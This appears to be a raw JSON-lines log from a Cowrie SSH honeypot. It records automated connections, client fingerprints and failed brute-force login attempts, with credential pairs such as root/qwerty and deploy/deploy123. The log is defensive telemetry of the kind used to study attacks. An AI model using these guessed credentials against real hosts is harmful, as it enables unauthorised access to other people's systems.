{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:09.354591Z","src_ip":"91.92.42.133","session":"680b10401f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":51810,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4b5954d2cc","protocol":"ssh","message":"New connection: 45.140.193.156:51810 (10.17.0.5:22) [session: fe4b5954d2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:10.867456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:10.871811Z","src_ip":"45.140.193.156","session":"fe4b5954d2cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:10.988824Z","src_ip":"45.140.193.156","session":"fe4b5954d2cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2022","message":"login attempt [odoo/odoo@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:11.479572Z","src_ip":"45.140.193.156","session":"fe4b5954d2cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:11.615420Z","src_ip":"91.92.42.133","session":"680b10401f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:12.597447Z","src_ip":"45.140.193.156","session":"fe4b5954d2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:12.895076Z","src_ip":"91.92.42.133","session":"680b10401f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35760,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2fd9754f8fa","protocol":"ssh","message":"New connection: 91.92.42.133:35760 (159.203.135.109:22) [session: b2fd9754f8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:16.332300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:16.669302Z","src_ip":"91.92.42.133","session":"b2fd9754f8fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:16.673318Z","src_ip":"91.92.42.133","session":"b2fd9754f8fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:18.679670Z","src_ip":"91.92.42.133","session":"b2fd9754f8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:20.047186Z","src_ip":"91.92.42.133","session":"b2fd9754f8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35798,"dst_ip":"159.203.135.109","dst_port":22,"session":"bddf07b7aaf6","protocol":"ssh","message":"New connection: 91.92.42.133:35798 (159.203.135.109:22) [session: bddf07b7aaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:23.295166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:23.778519Z","src_ip":"91.92.42.133","session":"bddf07b7aaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:23.828213Z","src_ip":"91.92.42.133","session":"bddf07b7aaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:26.393658Z","src_ip":"91.92.42.133","session":"bddf07b7aaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:27.708299Z","src_ip":"91.92.42.133","session":"bddf07b7aaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47854,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d4ef9e5eb8d","protocol":"ssh","message":"New connection: 91.92.42.133:47854 (159.203.135.109:22) [session: 6d4ef9e5eb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:31.768109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:31.877519Z","src_ip":"91.92.42.133","session":"6d4ef9e5eb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:31.883240Z","src_ip":"91.92.42.133","session":"6d4ef9e5eb8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:32.745503Z","src_ip":"91.92.42.133","session":"6d4ef9e5eb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:33.836004Z","src_ip":"91.92.42.133","session":"6d4ef9e5eb8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42050,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e42c78c40e4","protocol":"ssh","message":"New connection: 91.92.42.133:42050 (159.203.135.109:22) [session: 4e42c78c40e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:39.350041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:39.381713Z","src_ip":"91.92.42.133","session":"4e42c78c40e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:39.447162Z","src_ip":"91.92.42.133","session":"4e42c78c40e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:39.808334Z","src_ip":"91.92.42.133","session":"4e42c78c40e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:40.897519Z","src_ip":"91.92.42.133","session":"4e42c78c40e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35958,"dst_ip":"159.203.135.109","dst_port":22,"session":"70acaa8c6ca1","protocol":"ssh","message":"New connection: 91.92.42.133:35958 (159.203.135.109:22) [session: 70acaa8c6ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:46.117953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:46.443156Z","src_ip":"91.92.42.133","session":"70acaa8c6ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:46.460706Z","src_ip":"91.92.42.133","session":"70acaa8c6ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"Passw0rd","message":"login attempt [support/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:47.556540Z","src_ip":"91.92.42.133","session":"70acaa8c6ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:48.767820Z","src_ip":"91.92.42.133","session":"70acaa8c6ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36036,"dst_ip":"159.203.135.109","dst_port":22,"session":"85eccf054098","protocol":"ssh","message":"New connection: 91.92.42.133:36036 (159.203.135.109:22) [session: 85eccf054098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:53.639110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:53.822213Z","src_ip":"91.92.42.133","session":"85eccf054098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:53.826025Z","src_ip":"91.92.42.133","session":"85eccf054098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60128,"dst_ip":"10.17.0.5","dst_port":22,"session":"97527e781e2e","protocol":"ssh","message":"New connection: 27.71.230.31:60128 (10.17.0.5:22) [session: 97527e781e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:54.788530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:54.850585Z","src_ip":"27.71.230.31","session":"97527e781e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:56.104896Z","src_ip":"91.92.42.133","session":"85eccf054098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:56.624737Z","src_ip":"27.71.230.31","session":"97527e781e2e","protocol":"ssh"}
